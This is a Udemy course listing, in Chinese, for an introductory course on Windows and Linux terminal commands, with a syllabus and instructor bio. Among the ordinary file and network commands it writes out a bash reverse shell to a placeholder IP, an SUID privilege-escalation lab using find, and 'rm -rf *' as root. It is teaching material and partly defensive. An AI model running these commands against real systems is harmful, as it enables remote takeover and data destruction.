Udemy

Windows和Linux终端与命令入门课

解放双手,高效工作
Free tutorial
Rating: 3.8 out of 5 (4 ratings)
221 students
1hr 30min of on-demand video
Simplified Chinese

启用Windows和Linux命令终端
使用命令管理文件
使用命令管理网络
使用命令提升权限、反弹shell

Requirements

  • 无需编程经验

Description

命令行的好处:

众操作系统必备,响应快速,直接上手(很大的好处了,不用安装任何第三方软件即可使用) 直观简洁,清爽干净,统一的交互方式(界面单一,颜色对比明显) 能以最直接的方式,类似函数调用式地使用程序,非常适合开发人员的思维 编写命令脚本,自定义、批量地完成工作 还可以轻松地编写与命令行交互的应用程序,从而完成更多扩展。

从开发人员的角度来考虑,一些数据输入输出较简单的程序使用命令行可以大大减少制作用户界面的精力,而制作用户界面本身就是一个具有挑战性的工作。


课程内容:

Windows and Linux Terminals & Command Lines

介绍最为常用的Windows和Linux系统中终端命令。

为什么要学习终端中的命令? - 高效,安全工具环境。


一、如何开启命令行?

1、Windows - win+R - cmd 打开命令提示符。

普通用户运行cmd、系统管理员运行cmd。


2、Linux - ctrl+alt+T 或 点击终端图标。

普通用户 - $、最高权限用户 root - #;


-切换用户权限 sudo;

-切换用户 - su 用户名 - 输入用户密码;


特别注意: Windows系统中的命令不区分大小写,但是Linux系统下的命令是区分大小写。

whoami - WHOAMI -WhoAmI



二、如何使用命令管理文件?

1、命令行下的当前路径。

Windows - cd

Linux - pwd


2、当前路径下具有的文件。

Windows - dir

Linux - ls -alh - 隐藏文件


3、删除具体文件。

Windows - erase

Linux - rm - remove - rf - force - rm rf * - root


4、查看文件内容。

Windows - type - | more

Linux - cat - strings - more - less


5、写入文件内容。

Window 、 Linux - echo - > - >>


6、合并文件。

Windows - type a.txt b.txt > c.txt

Linux - cat a.txt b.txt > c.txt




三、什么是环境变量?

环境变量是在你输入命令时,告知操作系统从哪里找到命令对应的程序来执行。 - 注: 一个命令就是一个程序。

1、查看所有环境变量。

Windows - set

Linux - env


2、查看PATH环境变量。

Windows - set PATH - echo %PATH%

Linux - env | grep PATH - echo $PATH



Linux 临时PATH

export PATH=$PATH:/somewhere


Linux 永久PATH

~/.bash_profile, ~/.bashrc, or ~/.profile

export PATH=$PATH:/somewhere

source .bashrc



四、文件黑洞是什么?

常在河边走,哪有不湿鞋。命令执行多了,很可能错误。

1、如何避免错误输出?- 文件黑洞 - 2-标准错误 0 - 标准输入 1 - 标准输出

Window - 命令 2>nul

Linux - 命令 2>/dev/null



2、如何 Find SUID权限文件?

find / -perm -u=s -type f 2>/dev/null

实验

which find

ls -al /usr/bin/find

chmod u+s /usr/bin/find

find / -perm -u=s -type f 2>/dev/null

touch test

find test -exec "whoami" \;




五、如何查看网络连接?

网络连接 - 本机IP:端口 - 远程IP:端口


1、查看连接状态。

Windows - netstat -nao - netstat -naob

Linux - netstat -ant - netstat -antp


2、筛选具体端口。

Windows - netstat -naob | findstr "port_number"

Linux - netstat -antp | grep "port_number"


3、Bash Reverse Shell

监听端:

nc -lvp PORT - 4444

客户端:

bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"


查看连接状态:

netstat -antp


关闭可疑连接状态:

kill -9 pid



六、如何高效学习命令?

你不可能记忆所有命令及其参数。

1、使用帮助信息。

Windows - 命令 /?

Linux - 命令 -h 或 命令 -help 或 命令 --help 或 man 命令



2、网络适配器信息。

Windows - ipconfig

Linux - ifconfig - ip addr



3、网络连通状态。

Windows - ping IP或Domain

Linux - ping -c 4 IP或Domain

恶意代码 -

Windows - ping -n 3 127.0.0.1

Linux - ping -c 3 127.0.0.1











Who this course is for:

  • 对计算机安全感兴趣的人员

Instructor

匿名安全研究员
Liuxiaoyang Liu
  • 4.6 Instructor Rating
  • 24 Reviews
  • 544 Students
  • 11 Courses

多年渗透测试实战经验,目前就职于某大型网络安全公司,从事安全研究工作。个人擅长Web安全、代码审计、内网渗透,目前更多精力在于红蓝对抗。在上学期间,多此参加大型CTF比赛,并取得考前排名。


课程中使用直白的语言,通过实验的方式进行演示,帮助你能够从原理到实践快速掌握对应的知识。涉及的内容都是工作中会经常使用的,希望课程的讲解能够帮助你答疑解惑,提升技术。

Top companies trust Udemy

Get your team access to Udemy's top 25,000+ courses